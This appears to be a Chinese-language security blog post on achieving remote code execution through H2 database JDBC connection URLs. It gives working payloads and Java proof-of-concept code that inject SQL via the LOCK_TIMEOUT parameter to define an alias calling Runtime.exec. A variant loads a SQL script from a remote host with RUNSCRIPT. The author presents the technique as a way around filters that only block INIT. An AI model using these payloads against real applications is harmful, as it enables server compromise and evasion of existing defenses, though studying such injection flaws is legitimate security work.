看 H2 底层代码的时候发现了一个很有趣的 trick,除了下面这个我们熟知的用 INIT 指定 SQL 语句执行 Java 代码的经典 POC :
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('calc')\\;
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://xxxxxx:50025/poc.sql'
其实还有一种办法能不使用参数 INIT 也 RCE,而这个问题之所以发生有点像 SQL 注入,是 H2 驱动底层代码写的有点问题
ConnectionInfo 解析 URL 参数之后会打开 Database / Session,而在 openSession 这里有一个处理逻辑,建立连接的阶段允许字面量,对于除了在之前就预先处理过的 PAGE_SIZE、MV_STORE 等 DbSettings 值以外,对于剩下的参数会去看它是不是「简单标识符」:
- 不是 → 只有
TIME ZONE特殊处理(加 SQL 引号),别的直接抛错 - 是(
LOCK_TIMEOUT、SCHEMA)等:用 SET 加上 value 原样拼上去,不加引号、不转义,以在连接过程中对参数值进行初始化

而在后面,我们这个拼好的 SET xx=xx 就被 prepareLocal 直接当作 SQL 语句执行了

这就是很典型的注入类问题,H2 URL 的语法里用分号分割不同的属性,但也允许用反斜杠对分号进行注释,因此对于一个类似 LOCK_TIMEOUT=0\;xxxxxxxx;的代码,它会认为 0\;xxxxxxxx; 是前面这个参数 LOCK_TIMEOUT 的值,而在后面 SQL 引擎解析的时候会忽略反斜杠,所以最后执行的内容就变成了 LOCK_TIMEOUT=0 以及后面跟的 xxxxxxxx,所以最终的 POC 很简单,就是在 LOCK_TIMEOUT=0\; 后面跟代码让他执行即可:
package JDBC;
import java.sql.Connection;
import java.sql.DriverManager;
public class H2RCE_special {
public static void main(String[] args) throws Exception {
String url = "jdbc:h2:mem:calc;LOCK_TIMEOUT=0\\;CREATE ALIAS CMD AS 'void x(String c) throws Exception{Runtime.getRuntime().exec(c)\\;}'\\;CALL CMD('calc')";
Connection conn = DriverManager.getConnection(url);
}
}

从我的经验来看,大部分的开发者还是直接拦的 INIT,这个 trick 应该可以绕不少防护
当然,用 RUNSCRIPT 远程加载 sql 文件也是可行的:
CREATE ALIAS CMD AS 'void x(String c) throws Exception{Runtime.getRuntime().exec(c);}';
CALL CMD('calc');
package JDBC;
import java.sql.Connection;
import java.sql.DriverManager;
public class H2RCE_special {
public static void main(String[] args) throws Exception {
// String url = "jdbc:h2:mem:calc;LOCK_TIMEOUT=0\\;CREATE ALIAS CMD AS 'void x(String c) throws Exception{Runtime.getRuntime().exec(c)\\;}'\\;CALL CMD('calc')";
String url = "jdbc:h2:mem:calc;LOCK_TIMEOUT=0\\;RUNSCRIPT FROM 'http://127.0.0.1:6666/poc.sql';";
Connection conn = DriverManager.getConnection(url);
}
}
